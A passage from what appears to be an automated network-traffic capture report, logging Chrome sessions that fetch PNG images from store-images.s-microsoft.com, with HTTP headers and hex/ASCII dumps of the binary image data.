00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: 

2022-05-26 11:45:36 UTC 551 IN Data Raw: 40 12 53 81 cb 67 d2 9b 45 00 14 51 45 00 58 a2 8a 28 02 9d 14 51 5c 67 de 4a 5d 10 51 45 39 57 22 aa 31 
09 4a c3 68 a2 8a a3 30 a0 9c 0a 28 a9 e5 b8 12 53 95 73 42 2e 69 d5 51 d0 99 11 d1 4d 46 cd 48 82 b4 24 9a 80 70 68 
a4 fb ab 5a 72 f5 21 bb e8 24 74 49 44 74 49 40 86 d1 45 14 13 29 12 51 45 14 12 14 51 48 cd 8a 08 94 ac 2c cf c6 2a 3a 
2a 48 d3 e5 cd 6d a4 4c 89 28 a2 8a 93 40 a0 9c 0a 28 a0 06 97 c8 a1 05 09 d6 9d 5a 18 4e 57 d0 92 9a df 7c 53 d5 70 9
4 94 19 05 14 51 40 00 3f 30 a9 2a 3a 90 1f 94 50 01 45 14 50 01 45 14 e5 5c 8a 09 94 86 d1 45 14 12 14 51 45 00 48 06 
4d 48 c9 95 a6 27 de a9 4b f1 55 18 91 e4 47 25 36 95 d8 52 55 08 28 a2 8a 00 03 66 4a 92 a3 a3 76 e1 51 29 58 99 48 
28 a2 8a c8 91 58 e4 d2 51 4a 17 75 1b 80 95 1d 49 51 d0 44 a5 60 a2 
Data Ascii: @SgEQEX(Q\gJ]QE9W"1Jh0(SsB.iQMFH$phZr!$tIDtI@E)QEQH,*:*HmL(@(ZNW|SpQ@?0*:PEPE\
EQEHMH'KUG%6RU(fJvQ)XH(XQJuIQD`
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2022-05-26 11:45:36 UTC 555 IN Data Raw: 3a d4 d5 32 89 32 95 82 8a 92 8a 98 c4 9d c2 8a 5d c6 92 a8 37 19 8c 9e 29 2a 4a 2a 65 10 1b 8c 8f ee d3 a8 
07 34 51 18 80 13 81 40 39 14 8f f7 68 4f bb 58 d5 dc da 9f c3 72 58 8e 16 82 72 69 13 ee d2 d6 65 05 14 51 40 05 39 5b 
02 9b 45 00 48 0e 45 14 89 f7 69 68 06 21 7c 1a 55 94 0f 5a 63 fd ea 4a a4 8c de a4 85 b7 73 40 19 34 89 f7 69 41 c1 a9 
60 04 60 d1 41 39 34 50 03 95 f0 2a 45 7d f5 0e 69 f1 36 2b 44 12 48 73 36 69 07 4a 28 a0 cc 28 a2 8a 00 28 03 9a 28 
a9 71 4c 99 0a 17 22 97 65 2a 7d da 5a 8e 54 48 dd 94 2a e0 d3 a9 19 b0 28 e5 48 06 b7 de a8 df ef 53 e9 8f f7 aa 09 94 
53 dc 4a 28 a2 83 1d 82 8a 28 a0 02 8a 28 a0 06 3f de a4 a5 7f bd 49 5a 23 44 14 51 45 00 48 3a 53 bf e5 9d 34 74 a2 b1 
94 91 1c ac 28 a2 8a a1 0a c3 06 92 8c e6 8a cf 70 23 a2 8a 
Data Ascii: :22]7)*J*e4Q@9hOXrXrieQ@9[EHEih!|UZcJs@4iA``A94P*E}i6+DHs6iJ((((qL"e*}ZTH*(HSSJ(((?IZ#DQ
EH:S4t(p#

2022-05-26 11:45:36 UTC 559 IN Data Raw: 52 b0 8b 1b 66 83 13 1f e2 a9 82 71 47 97 41 3c c4 3e 4b 7f 7a 8f 25 bf bd 53 79 74 14 c0 a0 39 88 d8 91 48 
1b 15 2e 15 a8 28 31 41 51 21 32 e4 53 4c 99 a3 cb a3 cb 38 14 14 3a 9d 96 a7 51 41 3c c6 02 8c 9a 5f 2e 84 eb 4e af ba 
89 e2 91 d2 04 52 dd 69 49 c0 a6 6c 35 a7 28 9b b0 bb 29 0c 78 ff 00 f5 53 e8 aa 20 af 45 4c d0 28 fe 2a 4f 24 50 04 4d f3 
d3 7c ba 75 14 ee c0 45 5d b4 9e 5d 3a 8a 2e c0 6f 97 47 97 56 3c b5 f4 a3 cb 5f 4a 7c c0 31 62 cd 2b 41 81 de a4 5f 96 
9a e7 8a cf 7d 80 75 14 d4 6c d4 88 b9 a7 b0 ee c3 cb a3 1f ec fe b4 ea 2a 2d 72 e5 20 a2 8a 33 8a 99 69 a0 05 14 51 52 
03 bc ba 3c ba 7a ae ea 4a 0a 8c 82 8a 28 a0 a0 a4 66 c5 2d 31 cf cd 41 32 25 7f bb fc fd a9 b5 21 e5 7e 6e bd bd ea 37 
46 f4 ae 7a d4 5c dd d1 bd 1a ca 2a cc 28 a7 44 3e 43 
Data Ascii: RfqGA<>Kz%Syt9H.(1AQ!2SL8:QA<_.NRiIl5()xS EL(*O$PM|uE]]:.oGV<_J|1b+A_}ul*-r 3iQR<zJ(f-1A
2%!~n7Fz\*(D>C

2022-05-26 11:45:36 UTC 563 IN Data Raw: 7e b4 79 75 9b 66 f1 8d d0 ea 28 23 06 98 c7 2d 59 cf 61 c8 73 0c 8a 51 c0 a0 1c 8a 2b 11 25 70 a2 9c a9 91 
4a 46 45 67 b9 b2 8d 86 b1 c9 a4 a2 95 57 75 54 a5 d0 88 c7 ab 12 8a 56 5d b4 d6 6d b5 26 82 83 91 45 37 cc a7 a6 1b 
b5 46 a6 89 89 4a 9f 7a 92 9c 9d 69 00 bb 7d cd 27 97 fe d3 7e 74 ea 28 27 98 0a 83 da 9a 7e 43 d2 86 6c 54 65 d9 8d 
4c a5 62 89 07 0f 4e 61 f3 53 58 7f 15 2b 3f 4a c7 73 41 36 7b 2f e5 46 cf 65 fc a9 d4 13 81 40 0d 65 5d bd 3f 4a 8c af cd 
f7 7b d3 a9 a0 66 4a cd ea 03 a8 42 bb 7f cf 34 53 76 73 51 28 dc 07 53 97 eb 49 8f 97 34 95 94 69 b7 ab 2a 52 b0 51 45 
15 d0 48 52 86 39 a5 4e 94 ea ae 5b 80 51 45 15 40 15 1e d6 ff 00 22 9c e7 6a d4 7e 65 04 f3 1f ff d9 
Data Ascii: ~yuf(#-YasQ+%pJFEgWuTV]m&E7FJzi}'~t('~ClTeLbNaSX+?JsA6{/Fe@e]?J{fJB4SvsQ(SI4i*RQEHR9N[QE
@"j~e

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

37 192.168.2.4 49773 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 563 OUT GET /image/apps.52481.9007199266243744.36dde9d0-f21a-47d2-976e-f1ea3f5b031f.16c0a704-aef8-4bc4-af36-
0c3b3ee0f6e2?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:36 UTC 563 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 38027
Content-Type: image/png
Last-Modified: Thu, 08 Jul 2021 05:18:54 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk0MUNGRTE3OTNFRUQ"
MS-CV: LZT1tEq8wkm01jel.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:36 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:36 UTC 564 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 09 70 48 59 73 00 00 1d 87 00 00 1d 87 01 8f e5 f1 65 00 00 17 49 49 44 41 54 78 9c ed dd 09 90 65 55 79 c0 f1 ef 9c 
7b df d2 af a7 67 7a 16 06 06 90 19 24 01 34 11 a3 30 18 28 94 92 2a f7 24 24 3a 71 05 c4 8d 98 44 4b 2b 31 12 2a 05 a6 
90 8a 89 54 29 96 4b 4a 2d 13 45 2b 28 8e c6 12 a3 92 52 4c 0c a2 61 00 09 22 ae 40 d8 66 70 9c e9 e9 ed ed 77 c9 39 
e7 de f7 7a d0 40 81 4c 77 bf cf f7 ff 4d 3d 5f f7 eb ed 76 17 fe eb 9c fb ce 3b 37 16 00 50 22 5e ed 03 00 80 47 8b 60 01 
50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 
01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 
Data Ascii: PNGIHDR,,y}upHYseIIDATxeUy{gz$40(*$$:qDK+1*T)KJ-E+(RLa"@fpw9z@LwM=_v;7P"^G`P`P`P`P`P`P`P
`P`P`P`P`P`P`P`P`

2022-05-26 11:45:36 UTC 596 IN Data Raw: 84 9b e7 94 12 5a e5 d8 a0 f4 30 86 2e 6b 7e 36 96 cd 78 8d ac 77 e6 b4 9d 49 d1 4c 6a 65 f6 4d 69 20 1a ae 
e8 31 c1 06 48 7b 4f 18 c5 32 25 5c 5c 86 a5 04 56 dc b2 4a 3a 2c c2 6b 69 a5 01 56 ec 72 97 e9 5c ba 78 05 41 b6 82 
20 5b 59 81 b9 4b f3 b0 78 75 0a aa ea 79 bc ba 68 58 b3 e7 3f 91 04 29 e7 22 70 d5 f4 54 f5 a1 f3 0c 13 bc 91 09 a6 3a 
83 a7 19 5c aa 2f 6d 3e 57 86 09 3b 5b 09 27 02 eb 00 a1 74 a0 ca 00 6b d8 1e 1f 86 ee f1 a2 ef 41 1f 86 ed 6b c2 d8 3d 
35 4c 17 db d0 f3 70 10 3f 1d a8 c0 fa 9b d9 a6 f0 1e f6 09 7d 4a d7 da 81 e5 e2 e3 de c8 84 4f cd 17 73 21 9b c6 6e e2 
e9 4a d3 8a b9 fb 49 07 58 8a 2e 74 59 a6 9e 15 81 96 52 c4 2e e7 da f0 ed 45 5d b2 e3 41 df d3 b9 b8 57 a3 22 3e 11 c5 
8f df 01 96 f3 7f 6c f5 69 65 81 d5 21 d2 28 d1 12 54 dc 90 
Data Ascii: Z0.k~6xwILjeMi 1H{O2%\\VJ:,kiVr\xA [YKxuyhX?)"pT:\/m>W;['tkAk=5Lp?}JOs!nJIX.tYR.E]AW">lie!(T

2022-05-26 11:45:36 UTC 605 IN Data Raw: a8 47 dc aa 1a 2c 5b 5b 4e a7 95 4d c7 f5 16 cb d7 a6 e0 e9 3b c7 55 f9 98 d6 f9 54 33 12 b7 78 e8 3e 4f 80 
c7 ac 8b 9b e9 6d 48 08 a7 c0 ee 61 66 e8 81 d7 e3 35 97 ff c8 4b 96 34 87 11 bb fd 25 26 6f 2e c0 e4 2d 25 98 b9 87 40 
da 54 8b 71 84 d2 98 1d ad 18 b5 93 f7 77 d5 9b 18 ba b7 91 f0 6a 24 c8 5a 30 82 31 6a 77 03 bf a6 00 d3 b7 3d 36 97 f2 
38 60 54 f0 33 8b 84 3a 64 f0 85 19 da ea 73 73 e0 65 f5 69 65 81 d5 51 12 27 fe 02 58 c9 11 60 1d 1b 5e 80 23 23 b3 70 
bc 1d 58 84 d5 51 41 4b 35 2d 15 e0 09 2a 41 4b 4e eb 00 81 95 34 31 17 fb 27 67 60 ff a4 0c 1c a2 d3 4a 1a 55 82 3d 
a3 cb b1 6f 4a 11 76 4e 7e 85 1d f3 6e 20 37 db b9 3a 39 40 a7 a5 96 2b ce 01 b4 6f 9d c1 e6 d5 3c 25 8e 39 b5 61 71 bb 
75 16 d1 c5 14 b1 81 41 20 70 e4 e7 a7 b7 60 db aa 14 ac a6 
Data Ascii: G,[[NM;UT3x>OmHaf5K4%&o.-%@Tqwj$Z01jw=68`T3:dsseieQ'X`^##pXQAK5-*AKN41'g`JU=oJvN~n 7:9@+
o<%9aquA p`
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

38 192.168.2.4 49774 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 563 OUT GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-
95ba7990754d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:36 UTC 579 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 64662
Content-Type: image/png
Last-Modified: Fri, 25 Jun 2021 08:37:44 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODBBM0YxNTA"
MS-CV: ++gJr3axoUmfcmGL.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:36 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:36 UTC 580 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 80 00 49 44 41 54 78 9c bc bd 09 b8 6f 59 55 1f f8 3b f7 
fe ef 7d f7 0d f5 6a 1e a1 0a aa 8a c2 82 02 0b d0 56 51 89 46 0d 11 e4 d3 0e 26 86 88 51 8c f9 3a e9 f8 35 26 e9 b6 cd 
64 ba e3 67 d2 6d d2 d1 b4 b6 6d 12 35 6a 6c 8d 60 68 47 44 01 03 11 30 32 c8 20 83 54 51 14 54 51 f3 5c 6f 7e 77 3a 
7d 86 bd f6 fe ad 61 9f 73 ee 83 f4 f9 ea d5 b9 ff 73 f6 59 7b ad b5 d7 fa ed b5 f6 de 67 9f 15 5e ff 86 4f 63 7d e3 12 ec ed 
02 0d 30 fc 4f 9d a3 6b 4d be ec ee 0f 27 be df fd 6f ad 3f af 99 7b a6 cc d4 3d 2e 33 c9 9f f9 bb b1 cf f4 6c 54 f8 58 2a 77 
ed 5e db d3 6e c6 f3 14 ff 4d d2 c5 5a ed 5e 4d d7 
Data Ascii: PNGIHDR,,y}upHYsodIDATxoYU;}jVQF&Q:5&dgmm5jl`hGD02 TQTQ\o~w:}assY{g^Oc}0OkM'o?{=.3lTX*w^
nMZ^M

2022-05-26 11:45:36 UTC 618 IN Data Raw: 69 75 e5 8e 75 32 fc 95 db af c4 15 87 57 59 47 c3 73 9d d3 fe f2 1d 4f e2 74 bf 0b 44 a7 87 b6 07 f3 ae c0 b5 
97 6e e1 d5 cf b9 18 af 7a f6 71 bc e0 f2 2d 5c dd 81 cc c6 7a f1 b4 5e de 87 ce ec e1 5d 0f 9e c1 4f 7e ec 49 fc c1 3d a7 
d0 6e ae 0d 75 0f 18 de d3 e9 44 bc ee d2 43 78 f5 8d c7 f0 ca eb 8f e2 b6 4b 37 71 75 07 20 87 56 6b ca ea 4f 74 40 fa 
81 c7 b7 f1 d3 77 9e c4 af dc 75 ba 8b b8 3a e9 d6 d7 8c 07 16 af 89 66 66 db 5e df 5d 95 37 5e ba 81 6f bd 61 0b 2f bf 66 
13 cf 3b be c2 95 1d 00 1e 5a d7 9d 5f 6f 0f 8f 77 a0 f5 89 13 7b f8 9d 87 b6 f1 cb 9f 3b 8f 07 4f ee 0e bb 60 94 6a 5b 0f 5a 
11 38 28 27 67 57 3a c0 98 56 00 26 39 92 37 65 60 68 28 be 84 60 be 36 bd e4 21 97 83 97 07 82 16 01 68 d9 f1 b8 fe 
7f e3 40 45 6b 6b 2a 67 b7 57 10 04 5c 6c 8f 
Data Ascii: iuu2WYGsOtDnzq-\z^]O~I=nuDCxK7qu VkOt@wu:ff^]7^oa/f;Z_ow{;O`j[Z8('gW:V&97e`h(`6!h@Ekk*gW\l

2022-05-26 11:45:36 UTC 634 IN Data Raw: 36 a5 ef 1b db b8 dc 83 a2 6c 43 8c 72 aa c4 8c 59 bd f8 5b e3 0a da cf 13 53 3a b3 b2 49 6d 70 bb ab a7 0b 
53 c6 2d 3b 5a c7 b5 ec a8 61 bf 01 14 37 62 6a dc d2 56 71 1d 7b 55 f9 7b b0 e5 d3 62 9c b1 19 76 33 68 d8 cf 27 df 7a 
be 63 56 12 ac 6c 59 ba 0d 50 f5 18 59 ec 3d 3a 82 27 f7 1c c6 01 e3 26 76 18 d0 3a 65 76 1f ce 5f 36 0b 7d a6 3c 43 e3 
53 ec 3e fb 76 d8 00 d1 9a 85 83 78 df 4b 96 e2 2f bf b3 b5 5e 5f 09 d2 59 9a 36 31 69 5e 76 da 5c c3 84 56 3b 66 d5 84 
df 03 d6 3d b7 41 7f 03 86 56 76 dd 7e 2a 83 a9 c3 f0 84 de 9e 36 54 38 61 9e f1 67 2f 5f 8a 3b 77 0d e1 c1 ed 27 4c a7 
56 b1 e6 34 1c 52 95 5c 5d e2 55 7b 24 72 52 32 5d 49 12 f6 e9 aa c5 9b f3 5a 42 bc b0 d6 2d 4f 1a 98 7d 7b 5b 06 c9 32 
98 4a 1a 03 0c 8f 8c 4d ab 80 16 81 09 90 8c 69 de 32 0d 
Data Ascii: 6lCrY[S:ImpS-;Za7bjVq{U{bv3h'zcVlYPY=:'&v:ev_6}<CS>vxK/^_Y61i^v\V;f=AVv~*6T8ag/_;w'LV4R\]U{$rR2]IZ
B-O}{[2JMi2

2022-05-26 11:45:36 UTC 636 IN Data Raw: 38 77 d5 02 3c ba 61 97 d1 f6 1e de 43 8e 4d e0 e2 f3 56 61 cd e2 d9 18 1d 4f 01 ab d3 ba 9e 63 e3 f8 cc 3d 
9b ab 65 2f 04 ac 4b df d7 bc 58 86 65 f1 65 a0 1b 2f 3b 75 81 b1 24 dd 38 6d 51 a7 0c 6b fa f4 fd cf 57 a7 48 d3 fb 25 e8 
7b 4a d2 4e 79 7c ba 92 c8 d8 ca c3 3c 6b ed 8a 39 38 77 c9 4c 75 ba 88 0d f8 df f6 c4 1e 1c 38 30 54 b9 82 25 98 0b 53 
a9 85 7d 5f cd 7d 5b 69 5c be 52 61 79 f6 89 f6 eb 11 1a 14 b7 65 31 cf 7c e9 d2 19 58 38 b3 07 23 0a 23 b2 57 af 69 87 
fb 76 1c c7 dd 2f d4 2e 9c 74 8f e8 67 f3 fb 43 3b 8f e3 1e f3 f7 8a 55 b3 12 a6 67 2f 1b a8 5f 3c a3 1b 2f 5d dc 8f 9b 36 8e 
55 88 a8 b0 a8 40 c8 6b f9 87 43 56 34 a6 85 08 44 a9 eb 98 a6 c9 c6 b2 02 30 81 83 9d 60 61 09 8b 4a 30 01 f0 0c b1 
32 f9 22 88 3c 61 5a 40 78 7e 02 5a a4 29 43 0c 4b 
Data Ascii: 8w<aCMVaOc=e/KXee/;u$8mQkWH%{JNy|<k98wLu80T%S}_}[i\Raye1|X8##Wiv/.tgC;Ug/_</]6U@kCV4D0`a
J02"<aZ@x~Z)CK

2022-05-26 11:45:36 UTC 664 IN Data Raw: f8 6d 5c b6 13 c3 63 f8 bb eb 6f c7 bf 7c f3 21 bc f9 ea f5 f8 c5 9f b8 0c 17 9d b5 d2 a5 1b 1b 1d 73 9b c4 fd 47 
5d 15 be 54 8a 33 25 d7 c5 fd 27 bb ac 94 fb ed a8 9f 61 7d fb 0e 0f e1 0b df dd 88 7f b8 63 13 9e 79 a1 de 1e c6 cd a9 
aa af 92 6b 9b 76 52 32 03 1b 03 52 af 3b 6b 11 16 cf b3 7b a3 8d 63 b0 bf 0b cf ec 3c 82 0f 7e fd 29 37 ef 8a 4d a4 f4 4f 
f1 e2 d4 58 38 09 30 84 48 8e a6 73 e0 fa 1b 80 8d fa 5a d2 85 a3 a0 c5 11 91 b8 79 c8 02 9a 1e 4a 51 48 40 28 27 52 5b 
03 95 25 20 01 2e ac 7b ad 93 b0 ed 65 7c 63 82 3c 4e 7e 47 3f cb 74 ed 30 31 ed 3e 9f 67 ee fe 76 d2 36 3d 57 cb b7 6a 
2b 3e 19 51 0b 32 c6 b4 10 0a a1 cd 5f 4a 99 96 8f 45 78 65 d0 a6 04 24 2c cd 4b da ce 9d aa 81 eb 5f be 70 17 ae bf e9 
21 bc e1 f2 75 78 df 1b 5e 8a 57 bf f4 74 0c 0c 
Data Ascii: m\co|!sG]T3%'a}cykvR2R;k{c<~)7MOX80HsZyJQH@('R[% .{e|c<N~G?t01>gv6=Wj+>Q2_JExe$,K_p!ux^Wt

2022-05-26 11:45:36 UTC 676 IN Data Raw: 41 ef 74 65 d4 62 ea 31 7f 28 78 e5 ca 24 d0 d4 dc d6 7e 5b 97 4c c6 4e 5e 9c 06 87 bf 1d a1 3b 69 b5 eb 92 
98 9c 67 99 b1 5e 4e 13 78 47 3a b8 a0 61 f9 79 21 65 93 ba af a7 90 d3 1f 90 fc dc ee c9 16 85 8c 31 a9 5e a7 35 90 c4 
ef 98 30 ef 38 8a c0 70 a7 67 a7 56 69 f8 9e 02 4c 07 be 13 a8 4e 80 ef ca 52 32 3c 21 8f 93 de a3 b9 d7 d5 79 d2 fb 09 
d1 9d 3a 8f 53 67 f2 c4 e6 45 6f 1a 5a 21 21 39 f8 3c 32 08 22 11 69 9c 44 a4 b3 8e 2c 20 39 2d 4f c4 5f 94 76 ff 5a 07 af 
72 b7 44 00 18 49 b6 73 34 33 ca 60 a0 b3 4d 50 bf 6b 92 31 02 b8 6c 32 28 86 bf 69 bd 1b b6 8a d0 53 bf 9a a3 f5 5b ca 
73 f4 a4 f4 fe 2a a2 2e 8b b8 a6 0d ca e2 5b 28 9f 27 e0 a3 63 a1 9e 86 48 78 75 78 c5 47 d0 1e 63 c9 97 36 f0 db 81 c8 
af b1 e3 2b 00 f3 6f 2e 63 77 6d 07 d4 ee 50 84 7b 02 
Data Ascii: Ateb1(x$~[LN^;ig^NxG:ay!e1^508pgViLNR2<!y:SgEoZ!!9<2"iD, 9-O_vZrDIs43`MPk1l2(iS[s*.[('cHxuxGc6+o.c
wmP{
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

39 192.168.2.4 49775 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 595 OUT GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-
ee8fe4d32d94?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:36 UTC 652 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 12462
Content-Type: image/png
Last-Modified: Fri, 04 Jun 2021 08:47:09 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTcwNDdCNjk"
MS-CV: YL1WyeTAvUC1HHWF.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:36 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:36 UTC 652 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 30 43 49 44 41 54 78 5e ed 9d 09 78 55 c5 dd c6 cd 46 02 24 ec 5b 42 48 20 1b 4b 20 2
0 a0 28 6e 05 14 95 45 56 d9 51 b4 6e b5 e2 be a1 d6 b5 b6 2e b5 2a d5 16 97 af 9f 75 af da d6 cf 6a ab 6d ad 56 dc 70 
b7 22 22 a0 e0 86 2c 22 10 b2 2f e7 ff bd ff 73 73 31 09 93 e4 86 9c 7b ef 39 e7 be bf e7 f9 3d 48 80 e4 cc dc 33 af 33 73 
e6 cc 1c 40 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 
08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 
Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsod0CIDATx^xUF$[BH K  (nEVQn.*ujmVp"","/ss1{9=H33s@!B!B!B!B!B!B!
B!B!B!B!B!

Session ID Source IP Source Port Destination IP
Destination
Port

Process

4 192.168.2.4 49721 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:28 UTC 57 OUT GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-
7c3422ab3313?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:28 UTC 64 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 1493
Content-Type: image/png
Last-Modified: Mon, 30 Aug 2021 15:07:39 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RThDNTBCMzY"
MS-CV: WqthG07BiE+6pHh5.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:28 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:28 UTC 64 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 
02 58 50 4c 54 45 1d b9 54 ff ff ff fe fe fe 1f b9 56 f8 fd fa a4 e3 ba fa fd fb 2c bd 5f 24 bb 59 b7 e8 c8 61 ce 87 9f e1 b6 1e 
b9 55 fd fe fd 21 ba 57 2f be 62 6a d1 8f d3 f1 de 82 d8 a1 5e cd 85 c8 ee d6 fc fe fc 22 ba 58 24 bb 5a d5 f2 df f9 fd fa 20 
ba 56 47 c6 74 f7 fc f9 23 ba 58 ba e9 cb ec f9 f0 cb ef d8 4c c7 78 91 dc ab bf eb ce db f4 e4 28 bc 5c 73 d3 95 d9 f3 e2 
2a bd 5e cc ef d8 9b e0 b3 cf f0 da e1 f5 e8 2e be 61 cd ef d9 68 d0 8d 80 d7 9f e5 f7 eb df f5 e7 e0 f5 e8 46 c5 73 eb f8 f0 
ed f9 f1 53 c9 7c de f4 e6 b8 e9 c9 9d e0 b5 a1 e1 b7 e7 f7 ec 49 c6 75 64 cf 8a 5c cc 84 be ea ce ef fa f2 f0 fa f4 d0 f0 dc 
57 cb 80 7f d7 9e f4 fb f6 42 
Data Ascii: PNGIHDR#:XPLTETV,_$YaU!W/bj^"X$Z VGt#XLx(\s*^.ahFsS|Iud\WB

Session ID Source IP Source Port Destination IP
Destination
Port

Process

40 192.168.2.4 49776 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 596 OUT GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-
8ba298101695?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:36 UTC 679 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 36356
Content-Type: image/png
Last-Modified: Tue, 01 Feb 2022 21:30:34 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTRBNkU5OUQ"
MS-CV: z5GVXLljMESvilJy.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:36 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:36 UTC 679 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 
41 00 00 b1 8f 0b fc 61 05 00 00 8d 99 49 44 41 54 78 01 ed bd 09 bc a5 c7 55 1f 78 ea be d7 7b b7 ba 25 bb 2d 4b 6e d9 
6d 5b b6 ac 76 b0 64 cb 6a 63 27 58 0d 32 43 60 62 10 03 32 09 b1 13 83 4d 06 08 3f 76 86 25 04 db 24 13 60 86 80 93 0
9 01 32 13 42 98 e1 c7 04 41 00 11 32 c1 01 d4 92 81 60 59 6d 4b 02 29 96 2c cb 92 25 6b b1 96 5e df 7e ef 77 a6 96 b3 
